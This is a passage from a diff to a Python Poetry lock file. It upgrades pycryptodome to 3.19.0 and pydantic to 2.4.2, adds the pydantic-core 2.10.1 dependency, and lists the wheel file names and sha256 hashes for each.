- {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:78d863476e6bad2a592645072cc489bb90320972115d8995bcfbee2f8b209918"},
- {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:b6a610f8bfe67eab980d6236fdc73bfcdae23c9ed5548192bb2d530e8a92780e"},
- {file = "pycryptodome-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:422c89fd8df8a3bee09fb8d52aaa1e996120eafa565437392b781abec2a56e14"},
- {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:9ad6f09f670c466aac94a40798e0e8d1ef2aa04589c29faa5b9b97566611d1d1"},
- {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:53aee6be8b9b6da25ccd9028caf17dcdce3604f2c7862f5167777b707fbfb6cb"},
- {file = "pycryptodome-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:10da29526a2a927c7d64b8f34592f461d92ae55fc97981aab5bbcde8cb465bb6"},
- {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f21efb8438971aa16924790e1c3dba3a33164eb4000106a55baaed522c261acf"},
- {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4944defabe2ace4803f99543445c27dd1edbe86d7d4edb87b256476a91e9ffa4"},
- {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:51eae079ddb9c5f10376b4131be9589a6554f6fd84f7f655180937f611cd99a2"},
- {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:83c75952dcf4a4cebaa850fa257d7a860644c70a7cd54262c237c9f2be26f76e"},
- {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:957b221d062d5752716923d14e0926f47670e95fead9d240fa4d4862214b9b2f"},
- {file = "pycryptodome-3.18.0-cp35-abi3-win32.whl", hash = "sha256:795bd1e4258a2c689c0b1f13ce9684fa0dd4c0e08680dcf597cf9516ed6bc0f3"},
- {file = "pycryptodome-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:b1d9701d10303eec8d0bd33fa54d44e67b8be74ab449052a8372f12a66f93fb9"},
- {file = "pycryptodome-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:cb1be4d5af7f355e7d41d36d8eec156ef1382a88638e8032215c215b82a4b8ec"},
- {file = "pycryptodome-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:fc0a73f4db1e31d4a6d71b672a48f3af458f548059aa05e83022d5f61aac9c08"},
- {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f022a4fd2a5263a5c483a2bb165f9cb27f2be06f2f477113783efe3fe2ad887b"},
- {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:363dd6f21f848301c2dcdeb3c8ae5f0dee2286a5e952a0f04954b82076f23825"},
- {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12600268763e6fec3cefe4c2dcdf79bde08d0b6dc1813887e789e495cb9f3403"},
- {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4604816adebd4faf8810782f137f8426bf45fee97d8427fa8e1e49ea78a52e2c"},
- {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:01489bbdf709d993f3058e2996f8f40fee3f0ea4d995002e5968965fa2fe89fb"},
- {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3811e31e1ac3069988f7a1c9ee7331b942e605dfc0f27330a9ea5997e965efb2"},
- {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f4b967bb11baea9128ec88c3d02f55a3e338361f5e4934f5240afcb667fdaec"},
- {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:9c8eda4f260072f7dbe42f473906c659dcbadd5ae6159dfb49af4da1293ae380"},
- {file = "pycryptodome-3.18.0.tar.gz", hash = "sha256:c9adee653fc882d98956e33ca2c1fb582e23a8af7ac82fee75bd6113c55a0413"},
+ {file = "pycryptodome-3.19.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3006c44c4946583b6de24fe0632091c2653d6256b99a02a3db71ca06472ea1e4"},
+ {file = "pycryptodome-3.19.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:7c760c8a0479a4042111a8dd2f067d3ae4573da286c53f13cf6f5c53a5c1f631"},
+ {file = "pycryptodome-3.19.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:08ce3558af5106c632baf6d331d261f02367a6bc3733086ae43c0f988fe042db"},
+ {file = "pycryptodome-3.19.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45430dfaf1f421cf462c0dd824984378bef32b22669f2635cb809357dbaab405"},
+ {file = "pycryptodome-3.19.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:a9bcd5f3794879e91970f2bbd7d899780541d3ff439d8f2112441769c9f2ccea"},
+ {file = "pycryptodome-3.19.0-cp27-cp27m-win32.whl", hash = "sha256:190c53f51e988dceb60472baddce3f289fa52b0ec38fbe5fd20dd1d0f795c551"},
+ {file = "pycryptodome-3.19.0-cp27-cp27m-win_amd64.whl", hash = "sha256:22e0ae7c3a7f87dcdcf302db06ab76f20e83f09a6993c160b248d58274473bfa"},
+ {file = "pycryptodome-3.19.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7822f36d683f9ad7bc2145b2c2045014afdbbd1d9922a6d4ce1cbd6add79a01e"},
+ {file = "pycryptodome-3.19.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:05e33267394aad6db6595c0ce9d427fe21552f5425e116a925455e099fdf759a"},
+ {file = "pycryptodome-3.19.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:829b813b8ee00d9c8aba417621b94bc0b5efd18c928923802ad5ba4cf1ec709c"},
+ {file = "pycryptodome-3.19.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:fc7a79590e2b5d08530175823a242de6790abc73638cc6dc9d2684e7be2f5e49"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:542f99d5026ac5f0ef391ba0602f3d11beef8e65aae135fa5b762f5ebd9d3bfb"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:61bb3ccbf4bf32ad9af32da8badc24e888ae5231c617947e0f5401077f8b091f"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d49a6c715d8cceffedabb6adb7e0cbf41ae1a2ff4adaeec9432074a80627dea1"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e249a784cc98a29c77cea9df54284a44b40cafbfae57636dd2f8775b48af2434"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d033947e7fd3e2ba9a031cb2d267251620964705a013c5a461fa5233cc025270"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:84c3e4fffad0c4988aef0d5591be3cad4e10aa7db264c65fadbc633318d20bde"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:139ae2c6161b9dd5d829c9645d781509a810ef50ea8b657e2257c25ca20efe33"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:5b1986c761258a5b4332a7f94a83f631c1ffca8747d75ab8395bf2e1b93283d9"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-win32.whl", hash = "sha256:536f676963662603f1f2e6ab01080c54d8cd20f34ec333dcb195306fa7826997"},
+ {file = "pycryptodome-3.19.0-cp35-abi3-win_amd64.whl", hash = "sha256:04dd31d3b33a6b22ac4d432b3274588917dcf850cc0c51c84eca1d8ed6933810"},
+ {file = "pycryptodome-3.19.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:8999316e57abcbd8085c91bc0ef75292c8618f41ca6d2b6132250a863a77d1e7"},
+ {file = "pycryptodome-3.19.0-pp27-pypy_73-win32.whl", hash = "sha256:a0ab84755f4539db086db9ba9e9f3868d2e3610a3948cbd2a55e332ad83b01b0"},
+ {file = "pycryptodome-3.19.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0101f647d11a1aae5a8ce4f5fad6644ae1b22bb65d05accc7d322943c69a74a6"},
+ {file = "pycryptodome-3.19.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c1601e04d32087591d78e0b81e1e520e57a92796089864b20e5f18c9564b3fa"},
+ {file = "pycryptodome-3.19.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:506c686a1eee6c00df70010be3b8e9e78f406af4f21b23162bbb6e9bdf5427bc"},
+ {file = "pycryptodome-3.19.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7919ccd096584b911f2a303c593280869ce1af9bf5d36214511f5e5a1bed8c34"},
+ {file = "pycryptodome-3.19.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:560591c0777f74a5da86718f70dfc8d781734cf559773b64072bbdda44b3fc3e"},
+ {file = "pycryptodome-3.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c1cc2f2ae451a676def1a73c1ae9120cd31af25db3f381893d45f75e77be2400"},
+ {file = "pycryptodome-3.19.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:17940dcf274fcae4a54ec6117a9ecfe52907ed5e2e438fe712fe7ca502672ed5"},
+ {file = "pycryptodome-3.19.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:d04f5f623a280fbd0ab1c1d8ecbd753193ab7154f09b6161b0f857a1a676c15f"},
+ {file = "pycryptodome-3.19.0.tar.gz", hash = "sha256:bc35d463222cdb4dbebd35e0784155c81e161b9284e567e7e933d722e533331e"},
]
[[package]]
name = "pydantic"
-version = "1.10.12"
-description = "Data validation and settings management using python type hints"
+version = "2.4.2"
+description = "Data validation using Python type hints"
optional = false
python-versions = ">=3.7"
files = [
- {file = "pydantic-1.10.12-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a1fcb59f2f355ec350073af41d927bf83a63b50e640f4dbaa01053a28b7a7718"},
- {file = "pydantic-1.10.12-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b7ccf02d7eb340b216ec33e53a3a629856afe1c6e0ef91d84a4e6f2fb2ca70fe"},
- {file = "pydantic-1.10.12-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8fb2aa3ab3728d950bcc885a2e9eff6c8fc40bc0b7bb434e555c215491bcf48b"},
- {file = "pydantic-1.10.12-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:771735dc43cf8383959dc9b90aa281f0b6092321ca98677c5fb6125a6f56d58d"},
- {file = "pydantic-1.10.12-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ca48477862372ac3770969b9d75f1bf66131d386dba79506c46d75e6b48c1e09"},
- {file = "pydantic-1.10.12-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a5e7add47a5b5a40c49b3036d464e3c7802f8ae0d1e66035ea16aa5b7a3923ed"},
- {file = "pydantic-1.10.12-cp310-cp310-win_amd64.whl", hash = "sha256:e4129b528c6baa99a429f97ce733fff478ec955513630e61b49804b6cf9b224a"},
- {file = "pydantic-1.10.12-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b0d191db0f92dfcb1dec210ca244fdae5cbe918c6050b342d619c09d31eea0cc"},
- {file = "pydantic-1.10.12-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:795e34e6cc065f8f498c89b894a3c6da294a936ee71e644e4bd44de048af1405"},
- {file = "pydantic-1.10.12-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:69328e15cfda2c392da4e713443c7dbffa1505bc9d566e71e55abe14c97ddc62"},
- {file = "pydantic-1.10.12-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2031de0967c279df0d8a1c72b4ffc411ecd06bac607a212892757db7462fc494"},
- {file = "pydantic-1.10.12-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:ba5b2e6fe6ca2b7e013398bc7d7b170e21cce322d266ffcd57cca313e54fb246"},
- {file = "pydantic-1.10.12-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:2a7bac939fa326db1ab741c9d7f44c565a1d1e80908b3797f7f81a4f86bc8d33"},
- {file = "pydantic-1.10.12-cp311-cp311-win_amd64.whl", hash = "sha256:87afda5539d5140cb8ba9e8b8c8865cb5b1463924d38490d73d3ccfd80896b3f"},
- {file = "pydantic-1.10.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:549a8e3d81df0a85226963611950b12d2d334f214436a19537b2efed61b7639a"},
- {file = "pydantic-1.10.12-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:598da88dfa127b666852bef6d0d796573a8cf5009ffd62104094a4fe39599565"},
- {file = "pydantic-1.10.12-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba5c4a8552bff16c61882db58544116d021d0b31ee7c66958d14cf386a5b5350"},
- {file = "pydantic-1.10.12-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c79e6a11a07da7374f46970410b41d5e266f7f38f6a17a9c4823db80dadf4303"},
- {file = "pydantic-1.10.12-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab26038b8375581dc832a63c948f261ae0aa21f1d34c1293469f135fa92972a5"},
- {file = "pydantic-1.10.12-cp37-cp37m-win_amd64.whl", hash = "sha256:e0a16d274b588767602b7646fa05af2782576a6cf1022f4ba74cbb4db66f6ca8"},
- {file = "pydantic-1.10.12-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6a9dfa722316f4acf4460afdf5d41d5246a80e249c7ff475c43a3a1e9d75cf62"},
- {file = "pydantic-1.10.12-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a73f489aebd0c2121ed974054cb2759af8a9f747de120acd2c3394cf84176ccb"},
- {file = "pydantic-1.10.12-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b30bcb8cbfccfcf02acb8f1a261143fab622831d9c0989707e0e659f77a18e0"},
- {file = "pydantic-1.10.12-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2fcfb5296d7877af406ba1547dfde9943b1256d8928732267e2653c26938cd9c"},
- {file = "pydantic-1.10.12-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:2f9a6fab5f82ada41d56b0602606a5506aab165ca54e52bc4545028382ef1c5d"},
- {file = "pydantic-1.10.12-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:dea7adcc33d5d105896401a1f37d56b47d443a2b2605ff8a969a0ed5543f7e33"},
- {file = "pydantic-1.10.12-cp38-cp38-win_amd64.whl", hash = "sha256:1eb2085c13bce1612da8537b2d90f549c8cbb05c67e8f22854e201bde5d98a47"},
- {file = "pydantic-1.10.12-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ef6c96b2baa2100ec91a4b428f80d8f28a3c9e53568219b6c298c1125572ebc6"},
- {file = "pydantic-1.10.12-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6c076be61cd0177a8433c0adcb03475baf4ee91edf5a4e550161ad57fc90f523"},
- {file = "pydantic-1.10.12-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d5a58feb9a39f481eda4d5ca220aa8b9d4f21a41274760b9bc66bfd72595b86"},
- {file = "pydantic-1.10.12-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e5f805d2d5d0a41633651a73fa4ecdd0b3d7a49de4ec3fadf062fe16501ddbf1"},
- {file = "pydantic-1.10.12-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:1289c180abd4bd4555bb927c42ee42abc3aee02b0fb2d1223fb7c6e5bef87dbe"},
- {file = "pydantic-1.10.12-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5d1197e462e0364906cbc19681605cb7c036f2475c899b6f296104ad42b9f5fb"},
- {file = "pydantic-1.10.12-cp39-cp39-win_amd64.whl", hash = "sha256:fdbdd1d630195689f325c9ef1a12900524dceb503b00a987663ff4f58669b93d"},
- {file = "pydantic-1.10.12-py3-none-any.whl", hash = "sha256:b749a43aa51e32839c9d71dc67eb1e4221bb04af1033a32e3923d46f9effa942"},
- {file = "pydantic-1.10.12.tar.gz", hash = "sha256:0fe8a415cea8f340e7a9af9c54fc71a649b43e8ca3cc732986116b3cb135d303"},
+ {file = "pydantic-2.4.2-py3-none-any.whl", hash = "sha256:bc3ddf669d234f4220e6e1c4d96b061abe0998185a8d7855c0126782b7abc8c1"},
+ {file = "pydantic-2.4.2.tar.gz", hash = "sha256:94f336138093a5d7f426aac732dcfe7ab4eb4da243c88f891d65deb4a2556ee7"},
]
[package.dependencies]
-typing-extensions = ">=4.2.0"
+annotated-types = ">=0.4.0"
+pydantic-core = "2.10.1"
+typing-extensions = ">=4.6.1"
[package.extras]
-dotenv = ["python-dotenv (>=0.10.4)"]
-email = ["email-validator (>=1.0.3)"]
+email = ["email-validator (>=2.0.0)"]
+
+[[package]]
+name = "pydantic-core"
+version = "2.10.1"
+description = ""
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pydantic_core-2.10.1-cp310-cp310-macosx_10_7_x86_64.whl", hash = "sha256:d64728ee14e667ba27c66314b7d880b8eeb050e58ffc5fec3b7a109f8cddbd63"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:48525933fea744a3e7464c19bfede85df4aba79ce90c60b94d8b6e1eddd67096"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef337945bbd76cce390d1b2496ccf9f90b1c1242a3a7bc242ca4a9fc5993427a"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a1392e0638af203cee360495fd2cfdd6054711f2db5175b6e9c3c461b76f5175"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0675ba5d22de54d07bccde38997e780044dcfa9a71aac9fd7d4d7a1d2e3e65f7"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:128552af70a64660f21cb0eb4876cbdadf1a1f9d5de820fed6421fa8de07c893"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f6e6aed5818c264412ac0598b581a002a9f050cb2637a84979859e70197aa9e"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ecaac27da855b8d73f92123e5f03612b04c5632fd0a476e469dfc47cd37d6b2e"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b3c01c2fb081fced3bbb3da78510693dc7121bb893a1f0f5f4b48013201f362e"},
+ {file = "pydantic_core-2.10.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:92f675fefa977625105708492850bcbc1182bfc3e997f8eecb866d1927c98ae6"},
+ {file = "pydantic_core-2.10.1-cp310-none-win32.whl", hash = "sha256:420a692b547736a8d8703c39ea935ab5d8f0d2573f8f123b0a294e49a73f214b"},
+ {file = "pydantic_core-2.10.1-cp310-none-win_amd64.whl", hash = "sha256:0880e239827b4b5b3e2ce05e6b766a7414e5f5aedc4523be6b68cfbc7f61c5d0"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-macosx_10_7_x86_64.whl", hash = "sha256:073d4a470b195d2b2245d0343569aac7e979d3a0dcce6c7d2af6d8a920ad0bea"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:600d04a7b342363058b9190d4e929a8e2e715c5682a70cc37d5ded1e0dd370b4"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:39215d809470f4c8d1881758575b2abfb80174a9e8daf8f33b1d4379357e417c"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:eeb3d3d6b399ffe55f9a04e09e635554012f1980696d6b0aca3e6cf42a17a03b"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a7a7902bf75779bc12ccfc508bfb7a4c47063f748ea3de87135d433a4cca7a2f"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3625578b6010c65964d177626fde80cf60d7f2e297d56b925cb5cdeda6e9925a"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:caa48fc31fc7243e50188197b5f0c4228956f97b954f76da157aae7f67269ae8"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:07ec6d7d929ae9c68f716195ce15e745b3e8fa122fc67698ac6498d802ed0fa4"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e6f31a17acede6a8cd1ae2d123ce04d8cca74056c9d456075f4f6f85de055607"},
+ {file = "pydantic_core-2.10.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d8f1ebca515a03e5654f88411420fea6380fc841d1bea08effb28184e3d4899f"},
+ {file = "pydantic_core-2.10.1-cp311-none-win32.whl", hash = "sha256:6db2eb9654a85ada248afa5a6db5ff1cf0f7b16043a6b070adc4a5be68c716d6"},
+ {file = "pydantic_core-2.10.1-cp311-none-win_amd64.whl", hash = "sha256:4a5be350f922430997f240d25f8219f93b0c81e15f7b30b868b2fddfc2d05f27"},
+ {file = "pydantic_core-2.10.1-cp311-none-win_arm64.whl", hash = "sha256:5fdb39f67c779b183b0c853cd6b45f7db84b84e0571b3ef1c89cdb1dfc367325"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-macosx_10_7_x86_64.whl", hash = "sha256:b1f22a9ab44de5f082216270552aa54259db20189e68fc12484873d926426921"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8572cadbf4cfa95fb4187775b5ade2eaa93511f07947b38f4cd67cf10783b118"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db9a28c063c7c00844ae42a80203eb6d2d6bbb97070cfa00194dff40e6f545ab"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e2a35baa428181cb2270a15864ec6286822d3576f2ed0f4cd7f0c1708472aff"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:05560ab976012bf40f25d5225a58bfa649bb897b87192a36c6fef1ab132540d7"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d6495008733c7521a89422d7a68efa0a0122c99a5861f06020ef5b1f51f9ba7c"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14ac492c686defc8e6133e3a2d9eaf5261b3df26b8ae97450c1647286750b901"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8282bab177a9a3081fd3d0a0175a07a1e2bfb7fcbbd949519ea0980f8a07144d"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:aafdb89fdeb5fe165043896817eccd6434aee124d5ee9b354f92cd574ba5e78f"},
+ {file = "pydantic_core-2.10.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:f6defd966ca3b187ec6c366604e9296f585021d922e666b99c47e78738b5666c"},
+ {file = "pydantic_core-2.10.1-cp312-none-win32.whl", hash = "sha256:7c4d1894fe112b0864c1fa75dffa045720a194b227bed12f4be7f6045b25209f"},
+ {file = "pydantic_core-2.10.1-cp312-none-win_amd64.whl", hash = "sha256:5994985da903d0b8a08e4935c46ed8daf5be1cf217489e673910951dc533d430"},
+ {file = "pydantic_core-2.10.1-cp312-none-win_arm64.whl", hash = "sha256:0d8a8adef23d86d8eceed3e32e9cca8879c7481c183f84ed1a8edc7df073af94"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-macosx_10_7_x86_64.whl", hash = "sha256:9badf8d45171d92387410b04639d73811b785b5161ecadabf056ea14d62d4ede"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-macosx_11_0_arm64.whl", hash = "sha256:ebedb45b9feb7258fac0a268a3f6bec0a2ea4d9558f3d6f813f02ff3a6dc6698"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cfe1090245c078720d250d19cb05d67e21a9cd7c257698ef139bc41cf6c27b4f"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e357571bb0efd65fd55f18db0a2fb0ed89d0bb1d41d906b138f088933ae618bb"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b3dcd587b69bbf54fc04ca157c2323b8911033e827fffaecf0cafa5a892a0904"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c120c9ce3b163b985a3b966bb701114beb1da4b0468b9b236fc754783d85aa3"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15d6bca84ffc966cc9976b09a18cf9543ed4d4ecbd97e7086f9ce9327ea48891"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5cabb9710f09d5d2e9e2748c3e3e20d991a4c5f96ed8f1132518f54ab2967221"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:82f55187a5bebae7d81d35b1e9aaea5e169d44819789837cdd4720d768c55d15"},
+ {file = "pydantic_core-2.10.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:1d40f55222b233e98e3921df7811c27567f0e1a4411b93d4c5c0f4ce131bc42f"},
+ {file = "pydantic_core-2.10.1-cp37-none-win32.whl", hash = "sha256:14e09ff0b8fe6e46b93d36a878f6e4a3a98ba5303c76bb8e716f4878a3bee92c"},
+ {file = "pydantic_core-2.10.1-cp37-none-win_amd64.whl", hash = "sha256:1396e81b83516b9d5c9e26a924fa69164156c148c717131f54f586485ac3c15e"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-macosx_10_7_x86_64.whl", hash = "sha256:6835451b57c1b467b95ffb03a38bb75b52fb4dc2762bb1d9dbed8de31ea7d0fc"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b00bc4619f60c853556b35f83731bd817f989cba3e97dc792bb8c97941b8053a"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fa467fd300a6f046bdb248d40cd015b21b7576c168a6bb20aa22e595c8ffcdd"},
+ {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d99277877daf2efe074eae6338453a4ed54a2d93fb4678ddfe1209a0c93a2468"},
